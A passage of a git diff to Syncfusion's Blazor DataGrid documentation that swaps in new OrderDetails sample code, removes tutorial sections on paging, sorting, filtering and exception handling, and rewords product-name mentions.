-* **GridEvents** - When you use GridEvents, set the same TValue on both SfGrid and GridEvents so the event argument types (like FailureEventArgs, RowSelectEventArgs<TValue>) are correctly bound.
-
-The argument passed to the [OnActionFailure](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridEvents-1.html#Syncfusion_Blazor_Grids_GridEvents_1_OnActionFailure) event contains the error details returned from the server.
-
-N> Recommend you to bind `OnActionFailure` event during your application development phase, this helps you to find any exceptions. You can pass these exception details to our support team to get solution as early as possible.
-
-The following sample code demonstrates notifying user when server-side exception has occurred during data operation,
-
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
-
-@using Syncfusion.Blazor.Data
-
-<span class="error">@ErrorDetails</span>
-<SfGrid TValue="Order" AllowPaging="true">
-    <GridEvents TValue="Order" OnActionFailure="@ActionFailure"></GridEvents>
-    <GridPageSettings PageSize="10"></GridPageSettings>
-    <SfDataManager Url="https://some.com/invalidUrl" Adaptor="Adaptors.WebApiAdaptor"></SfDataManager>
-    <GridColumns>
-        <GridColumn Field=@nameof(Order.OrderID) HeaderText="Order ID" IsPrimaryKey="true" TextAlign="TextAlign.Right" Width="120"></GridColumn>
-        <GridColumn Field=@nameof(Order.CustomerID) HeaderText="Customer Name" Width="150"></GridColumn>
-        <GridColumn Field=@nameof(Order.OrderDate) HeaderText=" Order Date" Format="d" Type="ColumnType.Date" TextAlign="TextAlign.Right" Width="130"></GridColumn>
-        <GridColumn Field=@nameof(Order.Freight) HeaderText="Freight" Format="C2" TextAlign="TextAlign.Right" Width="120"></GridColumn>
-    </GridColumns>
-</SfGrid>
-
-<style>
-    .error {
-        color: red;
-    }
-</style>
-
-@code{
-    public string ErrorDetails = "";
-    public class Order
+{% highlight c# tabtitle="OrderDetails.cs" %}
+public class OrderDetails
+{
+    public static List<OrderDetails> Order = new List<OrderDetails>();
+    public OrderDetails(int OrderID, string CustomerId, double Freight, string ShipCountry)
     {
-        public int? OrderID { get; set; }
-        public string CustomerID { get; set; }
-        public DateTime? OrderDate { get; set; }
-        public double? Freight { get; set; }
+        this.OrderID = OrderID;
+        this.CustomerID = CustomerId;
+        this.Freight = Freight;
+        this.ShipCountry = ShipCountry;    
     }
-
-    public void ActionFailure(FailureEventArgs args)
+    public static List<OrderDetails> GetAllRecords()
     {
-        this.ErrorDetails = "Server exception: 404 Not found";
-        StateHasChanged();
+        if (Order.Count == 0)
+        {
+            Order.Add(new OrderDetails(10248, "VINET", 32.38, "France"));
+            Order.Add(new OrderDetails(10249, "TOMSP", 11.61, "Germany"));
+            Order.Add(new OrderDetails(10250, "HANAR", 65.83, "Brazil"));
+            Order.Add(new OrderDetails(10251, "VICTE", 41.34, "France"));
+            Order.Add(new OrderDetails(10252, "SUPRD", 51.3, "Belgium"));
+        }
+        return Order;
     }
+    public int OrderID { get; set; }
+    public string CustomerID { get; set; }
+    public double Freight { get; set; }
+    public string ShipCountry { get; set; }
 }
 
 {% endhighlight %}
 {% endtabs %}
 
-N> [View Sample in GitHub](https://github.com/SyncfusionExamples/Blazor-Getting-Started-Examples/tree/main/DataGrid).
+{% previewsample "https://blazorplayground.syncfusion.com/embed/VtBdteMnJfRLuDhc?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" %}
+
+**Run the Application**
 
-## See also
+* **Visual Studio** → <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application. This will render the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Grid component in the default web browser.
 
-1. [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor for client-side in .NET Core CLI](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-dotnet-cli)
-2. [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor for client-side in Visual Studio](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-visual-studio)
-3. [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor for server-side in .NET Core CLI](https://blazor.syncfusion.com/documentation/getting-started/blazor-server-side-dotnet-cli)
+* **VS Code / CLI** → Run **dotnet run** in the project directory using the terminal. This will build and launch the application, and you can open the displayed localhost URL in your browser to view the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Grid component.
 
diff --git a/blazor/datagrid/getting-started.md b/blazor/datagrid/getting-started.md
index e408350115..b266423e3c 100644
--- a/blazor/datagrid/getting-started.md
+++ b/blazor/datagrid/getting-started.md
@@ -1,6 +1,7 @@
 ---
 layout: post
 title: Getting Started with Blazor DataGrid in WASM App | Syncfusion
+canonical_url: "https://www.syncfusion.com/blazor-components/blazor-datagrid"
 description: Learn how to add the Syncfusion Blazor DataGrid to a Blazor WebAssembly (WASM) app using Visual Studio, VS Code, or the .NET CLI step-by-step.
 platform: Blazor
 control: DataGrid
@@ -9,7 +10,7 @@ documentation: ug
 
 # Getting Started with Blazor DataGrid in WASM App
 
-This section briefly explains about how to include [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) in a Blazor webAssembly app using [Visual Studio](https://visualstudio.microsoft.com/vs/), [Visual Studio Code](https://code.visualstudio.com/), and the [.NET CLI](https://learn.microsoft.com/en-us/dotnet/core/tools/).
+This section briefly explains about how to include Syncfusion<sup style="font-size:70%">&reg;</sup> [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) in a Blazor webAssembly App using [Visual Studio](https://visualstudio.microsoft.com/vs/), [Visual Studio Code](https://code.visualstudio.com/), and the [.NET CLI](https://learn.microsoft.com/en-us/dotnet/core/tools/).
 
 > **Ready to streamline your Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor development?** <br/>Discover the full potential of Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components with Syncfusion<sup style="font-size:70%">&reg;</sup> AI Coding Assistants. Effortlessly integrate, configure, and enhance your projects with intelligent, context-aware code suggestions, streamlined setups, and real-time insights—all seamlessly integrated into your preferred AI-powered IDEs like VS Code, Cursor, Syncfusion<sup style="font-size:70%">&reg;</sup> CodeStudio and more. [Explore Syncfusion<sup style="font-size:70%">&reg;</sup> AI Coding Assistants](https://blazor.syncfusion.com/documentation/ai-coding-assistant/overview)
 
@@ -141,254 +142,64 @@ The theme stylesheet and script can be accessed from NuGet through [Static Web A
 
 ```
 
-N> Check out the [Blazor Themes](https://blazor.syncfusion.com/documentation/appearance/themes) topic to discover various methods ([Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets), [CDN](https://blazor.syncfusion.com/documentation/appearance/themes#cdn-reference), and [CRG](https://blazor.syncfusion.com/documentation/common/custom-resource-generator)) for referencing themes in the Blazor application. Also, check out the [Adding Script Reference](https://blazor.syncfusion.com/documentation/common/adding-script-references) topic to learn different approaches for adding script references in the Blazor application.
+N> Check out the [Blazor Themes](https://blazor.syncfusion.com/documentation/appearance/themes) topic to discover various methods ([Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets), [CDN](https://blazor.syncfusion.com/documentation/appearance/themes#cdn-reference), and [CRG](https://blazor.syncfusion.com/documentation/common/custom-resource-generator)) for referencing themes in the Blazor application. Also, check out the [Adding Script Reference](https://blazor.syncfusion.com/documentation/common/adding-script-references) topic to learn different approaches for adding script references in the Blazor application. Refer to the [Style and Appearance](https://blazor.syncfusion.com/documentation/datagrid/style-and-appearance) topic for customizing the DataGrid appearance and styling options.
 
-## Add Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid component
+## Add Blazor DataGrid component
 
-Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid component in the **~/Pages/Index.razor** file.
+Add the Blazor DataGrid component in the **~/Pages/Index.razor** file.
 
 {% tabs %}
 {% highlight razor tabtitle="Index.razor" %}
-
 @using Syncfusion.Blazor.Grids
 
-<SfGrid DataSource="@Orders" />
-
-@code{
-    public List<Order> Orders { get; set; }
+<SfGrid DataSource="@OrderData">
+    <GridColumns>
+        <GridColumn Field=@nameof(OrderDetails.OrderID) HeaderText="Order ID" TextAlign="TextAlign.Right" Width="120"></GridColumn>
+        <GridColumn Field=@nameof(OrderDetails.CustomerID) HeaderText="Customer Name" Width="120"></GridColumn>
+        <GridColumn Field=@nameof(OrderDetails.Freight) HeaderText="Freight" Format="C2" TextAlign="TextAlign.Right" EditType="EditType.NumericEdit" Width="120"></GridColumn>
+        <GridColumn Field=@nameof(OrderDetails.ShipCountry) HeaderText="Ship Country" EditType="EditType.DropDownEdit" Width="150"></GridColumn>
+    </GridColumns>
+</SfGrid>
 
+@code {
+    public List<OrderDetails> OrderData { get; set; }
     protected override void OnInitialized()
     {
-        Orders = Enumerable.Range(1, 5).Select(x => new Order()
-        {
-            OrderID = 0 + x,
-            CustomerID = (new string[] { "ALFKI", "ANANTR", "ANTON", "BLONP", "BOLID" })[new Random().Next(5)],
-        }).ToList();
-    }
-
-    public class Order
-    {
-        public int? OrderID { get; set; }
-        public string CustomerID { get; set; }
-
+        OrderData = OrderDetails.GetAllRecords();
     }
 }
-
 {% endhighlight %}
-{% endtabs %}
-
-* Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application. This will render the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid in your default web browser.
-
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BNVztWraLacsGbYO?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor DataGrid](images/blazor-datagrid-component.webp)" %}
-
-## Defining row data
-
-To bind data for the Grid, you can assign a IEnumerable object to the [DataSource](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_DataSource) property. The list data source can also be provided as an instance of the **DataManager**. You can assign the data source through the `OnInitialized` life cycle of the page.
-
-{% tabs %}
-{% highlight razor tabtitle="Index.razor" %}
-
-@using Syncfusion.Blazor.Grids
-
-<SfGrid DataSource="@Orders" />
-
-@code{
-    public List<Order> Orders { get; set; }
-
-    protected override void OnInitialized()
+{% highlight c# tabtitle="OrderDetails.cs" %}
+public class OrderDetails
+{
+    public static List<OrderDetails> Order = new List<OrderDetails>();
+    public OrderDetails(int OrderID, string CustomerId, double Freight, string ShipCountry)
     {
-        Orders = Enumerable.Range(1, 75).Select(x => new Order()
-        {
-            OrderID = 1000 + x,
-            CustomerID = (new string[] { "ALFKI", "ANANTR", "ANTON", "BLONP", "BOLID" })[new Random().Next(5)],
-            Freight = 2.1 * x,
-            OrderDate = DateTime.Now.AddDays(-x),
-        }).ToList();
+        this.OrderID = OrderID;
+        this.CustomerID = CustomerId;
+        this.Freight = Freight;
+        this.ShipCountry = ShipCountry;    
     }
-
-    public class Order {
-        public int? OrderID { get; set; }
-        public string CustomerID { get; set; }
-        public DateTime? OrderDate { get; set; }
-        public double? Freight { get; set; }
-    }
-}
-
-{% endhighlight %}
-{% endtabs %}
-
-
-## Defining columns
-
-The columns are automatically generated when columns declaration is empty or undefined while initializing the Grid.
-
-The Grid has an option to define columns using [GridColumns](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumns.html). To customize column properties, use [GridColumns](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumns.html).
-
-Let’s check the properties used here:
-* [Field](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_Field) is added to map with a property name in IEnumerable object.
-* [HeaderText](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_HeaderText) is added to change the title of columns.
-* [TextAlign](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_TextAlign) is used to change the alignment of columns. By default, columns will be left aligned. To change columns to right align, define [TextAlign](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_TextAlign) as **Right**.
-* Also, you have used another useful property, [Format](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_Format). Using this, you can format number and date values to standard or custom formats.
-
-{% tabs %}
-{% highlight razor tabtitle="Index.razor" %}
-
-<SfGrid DataSource="@Orders">
-    <GridColumns>
-        <GridColumn Field=@nameof(Order.OrderID) HeaderText="Order ID" TextAlign="TextAlign.Right" Width="120"></GridColumn>
-        <GridColumn Field=@nameof(Order.CustomerID) HeaderText="Customer Name" Width="150"></GridColumn>
-        <GridColumn Field=@nameof(Order.OrderDate) HeaderText=" Order Date" Format="d" Type="ColumnType.Date" TextAlign="TextAlign.Right" Width="130"></GridColumn>
-        <GridColumn Field=@nameof(Order.Freight) HeaderText="Freight" Format="C2" TextAlign="TextAlign.Right" Width="120"></GridColumn>
-    </GridColumns>
-</SfGrid>
-
-{% endhighlight %}
-{% endtabs %}
-
-## Enable paging
-
-The paging feature enables users to view the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid record in a paged view. It can be enabled by setting the [AllowPaging](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_AllowPaging) property to true. Pager can be customized using the [GridPageSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_PageSettings).
-
-{% tabs %}
-{% highlight razor tabtitle="Index.razor" %}
-
-<SfGrid DataSource="@Orders" AllowPaging="true">
- <GridPageSettings PageSize="5"></GridPageSettings>
-   <GridColumns>
-     <GridColumn Field=@nameof(Order.OrderID) HeaderText="Order ID" TextAlign="TextAlign.Right" Width="120"></GridColumn>
-     <GridColumn Field=@nameof(Order.CustomerID) HeaderText="Customer Name" Width="150"></GridColumn>
-     <GridColumn Field=@nameof(Order.OrderDate) HeaderText=" Order Date" Format="d" Type="ColumnType.Date" TextAlign="TextAlign.Right" Width="130"></GridColumn>
-     <GridColumn Field=@nameof(Order.Freight) HeaderText="Freight" Format="C2" TextAlign="TextAlign.Right" Width="120"></GridColumn>
-   </GridColumns>
-</SfGrid>
-
-{% endhighlight %}
-{% endtabs %}
-
-## Enable sorting
-
-The sorting feature enables you to order the records. It can be enabled by setting the [AllowSorting](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_AllowSorting) property as true. Sorting feature can be customized using the [GridSortSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_SortSettings).
-
-{% tabs %}
-{% highlight razor tabtitle="Index.razor" %}
-
-<SfGrid DataSource="@Orders" AllowPaging="true" AllowSorting="true">
- <GridPageSettings PageSize="5"></GridPageSettings>
-   <GridColumns>
-     <GridColumn Field=@nameof(Order.OrderID) HeaderText="Order ID" TextAlign="TextAlign.Right" Width="120"></GridColumn>
-     <GridColumn Field=@nameof(Order.CustomerID) HeaderText="Customer Name" Width="150"></GridColumn>
-     <GridColumn Field=@nameof(Order.OrderDate) HeaderText=" Order Date" Format="d" Type="ColumnType.Date" TextAlign="TextAlign.Right" Width="130"></GridColumn>
-     <GridColumn Field=@nameof(Order.Freight) HeaderText="Freight" Format="C2" TextAlign="TextAlign.Right" Width="120"></GridColumn>
-   </GridColumns>
-</SfGrid>
-
-{% endhighlight %}
-{% endtabs %}
-
-## Enable filtering
-
-The filtering feature enables you to view reduced amount of records based on filter criteria. It can be enabled by setting the [AllowFiltering](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_AllowFiltering) property as true. Filtering feature can be customized using the [GridFilterSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_FilterSettings).
-
-{% tabs %}
-{% highlight razor tabtitle="Index.razor" %}
-
-<SfGrid DataSource="@Orders" AllowPaging="true" AllowSorting="true" AllowFiltering="true">
- <GridPageSettings PageSize="5"></GridPageSettings>
-   <GridColumns>
-     <GridColumn Field=@nameof(Order.OrderID) HeaderText="Order ID" TextAlign="TextAlign.Right" Width="120"></GridColumn>
-     <GridColumn Field=@nameof(Order.CustomerID) HeaderText="Customer Name" Width="150"></GridColumn>
-     <GridColumn Field=@nameof(Order.OrderDate) HeaderText=" Order Date" Format="d" Type="ColumnType.Date" TextAlign="TextAlign.Right" Width="130"></GridColumn>
-     <GridColumn Field=@nameof(Order.Freight) HeaderText="Freight" Format="C2" TextAlign="TextAlign.Right" Width="120"></GridColumn>
-   </GridColumns>
-</SfGrid>
-
-{% endhighlight %}
-{% endtabs %}
-
-## Enable grouping
-
-The grouping feature enables you to view the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid record in a grouped view. It can be enabled by setting the [AllowGrouping](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_AllowGrouping) property as true. Grouping feature can be customized using the [GridGroupSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_GroupSettings).
-
-{% tabs %}
-{% highlight razor tabtitle="Index.razor" %}
-
-<SfGrid DataSource="@Orders" AllowPaging="true" AllowSorting="true" AllowFiltering="true" AllowGrouping="true">
- <GridPageSettings PageSize="5"></GridPageSettings>
-   <GridColumns>
-     <GridColumn Field=@nameof(Order.OrderID) HeaderText="Order ID" TextAlign="TextAlign.Right" Width="120"></GridColumn>
-     <GridColumn Field=@nameof(Order.CustomerID) HeaderText="Customer Name" Width="150"></GridColumn>
-     <GridColumn Field=@nameof(Order.OrderDate) HeaderText=" Order Date" Format="d" Type="ColumnType.Date" TextAlign="TextAlign.Right" Width="130"></GridColumn>
-     <GridColumn Field=@nameof(Order.Freight) HeaderText="Freight" Format="C2" TextAlign="TextAlign.Right" Width="120"></GridColumn>
-   </GridColumns>
-</SfGrid>
-
-{% endhighlight %}
-{% endtabs %}
-
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VtBfDWBkLabNleSQ?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor DataGrid](images/blazor-datagrid.webp)" %}
-
-## Handling exceptions
-
-Exceptions occurred during Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid actions can be handled without stopping application. These error messages or exception details can be acquired using the [OnActionFailure](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridEvents-1.html#Syncfusion_Blazor_Grids_GridEvents_1_OnActionFailure) event.
-
-* **TValue** - Specifies the row data type of the grid (for example, Order). It enables strong typing for templates and event args and ensures proper binding/formatting.
-* **GridEvents** - When you use GridEvents, set the same TValue on both SfGrid and GridEvents so the event argument types (like FailureEventArgs, RowSelectEventArgs<TValue>) are correctly bound.
-
-The argument passed to the `OnActionFailure` event contains the error details returned from the server.
-
-N> Recommend you to bind `OnActionFailure` event during your application development phase, this helps you to find any exceptions. You can pass these exception details to our support team to get solution as early as possible.
-
-The following sample code demonstrates notifying user when server-side exception has occurred during data operation:
-
-{% tabs %}
-{% highlight razor tabtitle="Index.razor" %}
-
-@using Syncfusion.Blazor.Data
-@using Syncfusion.Blazor.Grids
-
-<span class="error">@ErrorDetails</span>
-<SfGrid TValue="Order" AllowPaging="true">
-    <GridEvents TValue="Order" OnActionFailure="@ActionFailure"></GridEvents>
-    <GridPageSettings PageSize="10"></GridPageSettings>
-    <SfDataManager Url="https://some.com/invalidUrl" Adaptor="Adaptors.WebApiAdaptor"></SfDataManager>
-    <GridColumns>
-        <GridColumn Field=@nameof(Order.OrderID) HeaderText="Order ID" IsPrimaryKey="true" TextAlign="TextAlign.Right" Width="120"></GridColumn>
-        <GridColumn Field=@nameof(Order.CustomerID) HeaderText="Customer Name" Width="150"></GridColumn>
-        <GridColumn Field=@nameof(Order.OrderDate) HeaderText=" Order Date" Format="d" Type="ColumnType.Date" TextAlign="TextAlign.Right" Width="130"></GridColumn>
-        <GridColumn Field=@nameof(Order.Freight) HeaderText="Freight" Format="C2" TextAlign="TextAlign.Right" Width="120"></GridColumn>
-    </GridColumns>
-</SfGrid>
-
-<style>
-    .error {
-        color: red;
-    }
-</style>
-
-@code{
-    public string ErrorDetails = "";
-    public class Order
+    public static List<OrderDetails> GetAllRecords()
     {
-        public int? OrderID { get; set; }
-        public string CustomerID { get; set; }
-        public DateTime? OrderDate { get; set; }
-        public double? Freight { get; set; }
-    }
-
-    public void ActionFailure(FailureEventArgs args)
-    {
-        this.ErrorDetails = "Server exception: 404 Not found";
-        StateHasChanged();
+        if (Order.Count == 0)
+        {
+            Order.Add(new OrderDetails(10248, "VINET", 32.38, "France"));
+            Order.Add(new OrderDetails(10249, "TOMSP", 11.61, "Germany"));
+            Order.Add(new OrderDetails(10250, "HANAR", 65.83, "Brazil"));
+            Order.Add(new OrderDetails(10251, "VICTE", 41.34, "France"));
+            Order.Add(new OrderDetails(10252, "SUPRD", 51.3, "Belgium"));
+        }
+        return Order;
     }
+    public int OrderID { get; set; }
+    public string CustomerID { get; set; }
+    public double Freight { get; set; }
+    public string ShipCountry { get; set; }
 }
-
 {% endhighlight %}
 {% endtabs %}
 
-## See also
-
-* [Getting started with Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid in Server Side App using .NET Core CLI](https://blazor.syncfusion.com/documentation/getting-started/blazor-web-app)
-
-* [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid for Client-Side in .NET Core CLI](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app)
+* Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application. This will render the Blazor DataGrid in your default web browser.
 
-* [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid in WebAssembly using Visual Studio](./how-to/blazor-webassembly-datagrid-using-visual-studio)
+{% previewsample "https://blazorplayground.syncfusion.com/embed/VtBdteMnJfRLuDhc?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" %}
\ No newline at end of file
diff --git a/blazor/datagrid/global-local.md b/blazor/datagrid/global-local.md
index 1cbeede71f..a5f030f458 100644
--- a/blazor/datagrid/global-local.md
+++ b/blazor/datagrid/global-local.md
@@ -9,11 +9,11 @@ documentation: ug
 
 # Globalization in Blazor DataGrid
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports globalization to make applications accessible across regions and languages. Content can be displayed in the preferred culture with localized texts and culture-aware formats for a better user experience.
+The Syncfusion<sup style="font-size:70%">&reg;</sup> [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) supports globalization to make applications accessible across regions and languages. Content can be displayed in the preferred culture with localized texts and culture-aware formats for a better user experience.
 
 ## Localization
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports localization of static text elements, such as **group drop area text** and **pager information**, can be localized to cultures like **Arabic**, **Deutsch**, **French**, and others.
+The Blazor DataGrid supports localization of static text elements, such as **group drop area text** and **pager information**, can be localized to cultures like **Arabic**, **Deutsch**, **French**, and others.
 
 - Apply localization to replace default UI text with culture-specific translations.
 - Configure localization by referring to the [Blazor Localization Documentation](https://blazor.syncfusion.com/documentation/common/localization).
@@ -159,17 +159,17 @@ Grid_DeleteRecord | Delete Record | ![Locale delete record](images/globalization
 
 ### Switch the different localization
 
-- The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid allows switching the localization from one culture to another at runtime. This is useful when the culture needs to be changed based on user preference or application context. For more details, see [Dynamically set the culture](https://blazor.syncfusion.com/documentation/common/localization#dynamically-set-the-culture).
+- The Blazor DataGrid allows switching the localization from one culture to another at runtime. This is useful when the culture needs to be changed based on user preference or application context. For more details, see [Dynamically set the culture](https://blazor.syncfusion.com/documentation/common/localization#dynamically-set-the-culture).
 
-- To configure localization in a Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid and switch to a different culture (e.g., French, German, Arabic), follow these steps:
+- To configure localization in a Blazor DataGrid and switch to a different culture (e.g., French, German, Arabic), follow these steps:
 
 **Step 1: Create a Blazor Web App**
  
 Create a **Blazor Web App** named **LocalizationSample** using Visual Studio 2022. Use either [Microsoft Templates](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-8.0&pivots=vs) or the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-integration/template-studio). Configure the appropriate [interactive render mode](https://learn.microsoft.com/en-us/aspnet/core/blazor/components/render-modes?view=aspnetcore-8.0#render-modes) and [interactivity location](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-8.0&pivots=vs#interactivity-location).
 
-**Step 2: Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid NuGet Packages**
+**Step 2: Install Blazor DataGrid NuGet Packages**
  
-- To integrate the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid, open the NuGet Package Manager (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*) and install the following packages:
+- To integrate the Blazor DataGrid, open the NuGet Package Manager (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*) and install the following packages:
 
 - [Syncfusion.Blazor.Grid](https://www.nuget.org/packages/Syncfusion.Blazor.Grid/)
 - [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/)
@@ -347,7 +347,7 @@ Add the following JavaScript function to **~/Components/App.razor** after the Bl
 {% endhighlight %}
 {% endtabs %}
 
-**Step 9: Configure Culture Switching with Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid** 
+**Step 9: Configure Culture Switching with Blazor DataGrid** 
 
 In the **Counter.razor** file (or another page, e.g., Index.razor), add code to enable culture switching and display a DataGrid with buttons to toggle between English (en-US) and French (fr-FR):
  
@@ -455,9 +455,9 @@ Run the application to display the DataGrid with localized content and formats b
 
 ![Switch to a different localization](images/globalization/switch.webp)
 
-## Right-to-Left (RTL) in Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid
+## Right-to-Left (RTL) in Blazor DataGrid
 
-- The Right-to-Left (RTL) feature in the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid reverses the layout and text direction from left-to-right to right-to-left, supporting languages like **Arabic**, **Farsi**, and **Urdu**. Enabling RTL improves accessibility and delivers a natural reading experience for these languages.
+- The Right-to-Left (RTL) feature in the Blazor DataGrid reverses the layout and text direction from left-to-right to right-to-left, supporting languages like **Arabic**, **Farsi**, and **Urdu**. Enabling RTL improves accessibility and delivers a natural reading experience for these languages.
 
 - To enable RTL, set the [EnableRtl](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_EnableRtl) property to **true** in the DataGrid component.
 
diff --git a/blazor/datagrid/group-and-caption-aggregate.md b/blazor/datagrid/group-and-caption-aggregate.md
index 6267590bbf..c8c7564c46 100644
--- a/blazor/datagrid/group-and-caption-aggregate.md
+++ b/blazor/datagrid/group-and-caption-aggregate.md
@@ -9,7 +9,7 @@ documentation: ug
 
 # Group and caption aggregates in Blazor DataGrid
 
-Group footer and group caption aggregates in the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid calculate values based on items in each group and display results in group footer cells and group caption cells. Configure these using the [GroupFooterTemplate](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridAggregateColumn.html#Syncfusion_Blazor_Grids_GridAggregateColumn_GroupFooterTemplate) and [GroupCaptionTemplate](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridAggregateColumn.html#Syncfusion_Blazor_Grids_GridAggregateColumn_GroupCaptionTemplate) properties of the [GridAggregateColumn](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridAggregateColumn.html#Syncfusion_Blazor_Grids_GridAggregateColumn__ctor) component. Aggregate values inside templates can be accessed through AggregateTemplateContext (for example, Sum, Min, Max).
+Group footer and group caption aggregates in the Syncfusion<sup style="font-size:70%">&reg;</sup> [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) calculate values based on items in each group and display results in group footer cells and group caption cells. Configure these using the [GroupFooterTemplate](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridAggregateColumn.html#Syncfusion_Blazor_Grids_GridAggregateColumn_GroupFooterTemplate) and [GroupCaptionTemplate](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridAggregateColumn.html#Syncfusion_Blazor_Grids_GridAggregateColumn_GroupCaptionTemplate) properties of the [GridAggregateColumn](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridAggregateColumn.html#Syncfusion_Blazor_Grids_GridAggregateColumn__ctor) component. Aggregate values inside templates can be accessed through AggregateTemplateContext (for example, Sum, Min, Max).
 
